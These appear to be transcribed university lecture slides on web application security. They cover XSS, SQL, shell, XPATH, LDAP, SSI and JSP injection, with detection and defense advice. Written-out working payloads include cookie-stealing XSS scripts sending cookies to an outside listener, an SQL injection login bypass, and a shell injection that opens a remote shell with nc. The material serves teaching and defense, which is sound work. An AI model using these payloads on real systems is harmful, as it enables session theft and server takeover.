Transcript web

Web Security
Why Web Security:
a Real Business Problem




> 60% of total attack attempts observed
on the Net are against Web applications
> 80% of vulnerabilities discovered are in
web apps
Independent security audit
Regulatory compliance
Auditor finding

Freeform edit box
– Message to
Customer Service


XSS issue raised
Must provide a
response:
– Prove issue to be
a non-problem
or
– Describe actions
to take
Web Attacks



Cross Site Scripting (XSS)
SQL Injection
Shell Attacks
If interested in more
 XPATH Injection
 LDAP Injection
 SSI Injection
 JSP Injection
Cross Site Scripting



Attacker goal: their code into browser
XSS forces a website visitor to execute
malicious code in his/her browser
Count for roughly 80% of all
documented security vulnerabilities
XSS Risks





XSS abuses render engines or plug-ins
Steal browser cookies
Steal session info for replay attack
Malware or bot installation
Redirect or phishing attempt
XSS Example 1




Trudy posts the following JavaScript on a
message board:
<script language="javascript">
var url =
"http://machineaddress:9000/index.html?cookie=
“+ encodeURI(document.cookie);
</script>
Then run a TCP server listening on port 9000 with
e.g., nc –l –p 9000
When Bob views the posted message, his browser
executes the malicious script, and his session
cookie is sent to Trudy
XSS Demo Instructions
Set port forward to bypass the firewall
ssh -L 8000:netsec-demos:2000 [email protected]

Note: 8000 is the local port, it's forwarded to netsecdemos port 2000 through netsec

Use http://localhost:8000 to access
http://netsec-demos.cs.northwestern.edu:2000
XSS Demo Instructions (II)

Login as ychen and post the script with a sexy
title (e.g., hot game!)
<script language="javascript">
var url = "http://dod.cs.northwestern.edu:5000/index.html?cookie=";
url = url + encodeURI(document.cookie);
new Image().src=url;
</script>
Hi Everyone! Thanks for your cookies!

Ssh to any other machine (e.g.,
netsec.cs.northwestern.edu) and run
nc –l 5000
Simple XSS Code
var url =
"http://machineaddress:5000/index.html?
cookie=“+ encodeURI(document.cookie);
 document.cookie is the browser's entire
cookie for the current website
 encodeURI() is a javascript function to
hex-encode certain characters to be
included as part of a URL
– E.g., changing the space character to %20
– Make the URL less suspicious
What can Trudy Do with
the Cookie?


Another user test458 login as and when
clicking the post, cookie is sent to Trudy
Crack Bob’s password (MD5 hash in the
cookie) with John the Ripper or any
password cracker


For more info,
http://netsec.cs.northwestern.edu/resources/passw
ord-cracking/
Use a Firefox plugin like Tamperdata to
reset your cookies to impersonate Bob
XSS Example 2




Trudy sends a link of the following URL to Bob
that will take him to a personalized page:
http://host/personalizedpage.php?username=<sc
ript>document.location='http://trudyhost/cgibin/stealcookie.cgi?'+document.cookie</script>
A page is returned that contains the malicious
script, and Bob’s browser executes the script
causing his session cookie to be sent to Trudy
Hex is often used in place of ASCII for the
JavaScript to make the URL less suspicious
XSS Detection


A client usually is not supposed to send
scripts to servers
If the server receives <SCRIPT>… or the
hex equivalent in an incoming packet and
that same script is sent unsanitized in an
outgoing packet or in an outgoing SQL
statement to the database, then an attack
has occurred
– A sanitized script could look like
&ls;SCRIPT&gt;…
SQL Injection
Malicious SQL statements run on a
database and thus attack the server
– XSS can only target other users
SQL Injection Example





Trudy accesses Bob’s website; in which he does not validate
input on his sign in form
– Runs a SQL statement like the following:
– select username, user_password from minibbtable_users
where user_password = md5('johnspassword') and
username='johndoe’;
Set username to ' or '1'='1
select username, user_password from minibbtable_users
where user_password = md5('anyrandompassword') and
username='' or '1'='1’;
Effect: picks any row where the username is blank and the
password matches or any row where true.
Add “limit 1” to pick the first row
SQL Injection Detection

To detect and prevent this at Bob’s
location
– Log any traffic from Trudy to Bob containing
form data containing a quotation mark
– Match any outgoing SQL statements from
Bob’s web server to his database server and
verify that the quotation marks Trudy
supplied were escaped
– If they weren’t, take action
Shell Attacks
Control an actual machine like a
web server
Shell Attacks

Inject commands into scripts that use
Linux utilities
– E.g., with “;” as command separator in
UNIX/LINUX


CGI programs like perl can use
command-line programs (e.g. grep, ls)
Unsanitized input as arguments can lead
to command execution.
Shell Attacks Demo

Search engine in MiniBB webserver executes
system("echo $user_usr " . $phrase . " >>/tmp/searchlogs");

Put phrase as: >/dev/null; id; echo randomdata
– Hide user ID
– Store random data in logs to evade detection

We can even get a remote shell !
– >/dev/null; nc netsec 9000 -e /bin/sh
Defense Approaches

Web firewall/IDS
– ModSecurity for Apache
– Commercial: SecureSphere from Impervia

Static code analysis
– Open source: Nikto
– Commercial:
Acutenix Web Vulnerability Scanner
 N-stalker


Education on good coding
– HTML encoding on input (server-side)
– Input validation/filtering
Backup Slides
XPATH Injection Example


Similar to SQL injection
Bob has a form that does not sanitize userprovided input before using it as part of an
XPATH query::
– string(//user[name/text()=’USER_NAME' and
password/text()=’USER_PASS']/account/text())

Trudy again can provide the following
password to change the statement’s logic:
– X’ OR ‘x’=‘x
– The statement thus selects the first account
LDAP Injection Example

Server using LDAP for authentication
– User name initialized, but then uses
unchecked user input to create a query
filter = "(uid=" + CStr(userName) + ")" '
searching for the user entry
 Attacker can exploit using special
characters
http://example/ldapsearch.asp?user=*
LDAP Injection Detection

Detection is based off of usage of
special LDAP characters
– System monitors input for special
characters
– Either scrubs incoming input or watches
for unescaped output passed to database
server

Detection approach is blackbox
SSI Injection Example
Bob has his server configured to use ServerSide Includes
 Trudy passes input with an SSI embedded
<!--#INCLUDE VIRTUAL="/web.config"-->
 SSI inserts malicious code into normal
webpages upon next request
 Future legitimate users get content
containing the tainted code included by the
SSI

JSP Injection Example




Similar to SSI injection
Bob has a portal server configured to
use dynamic code for templates
Trudy passes input with an embedded
<jsp:include “http://bad.com/1.jsp” >
malicious code inserted into webpage
JSP Injection Prevention





Prefer static include <%include …>
Don’t allow file inclusion outside of
server via Java2 Security policies
Firewall rules to prevent outbound
requests from server
Input validation coding
Choose portal software not requiring
dynamic includes or code execution
Q&A

Suggestions?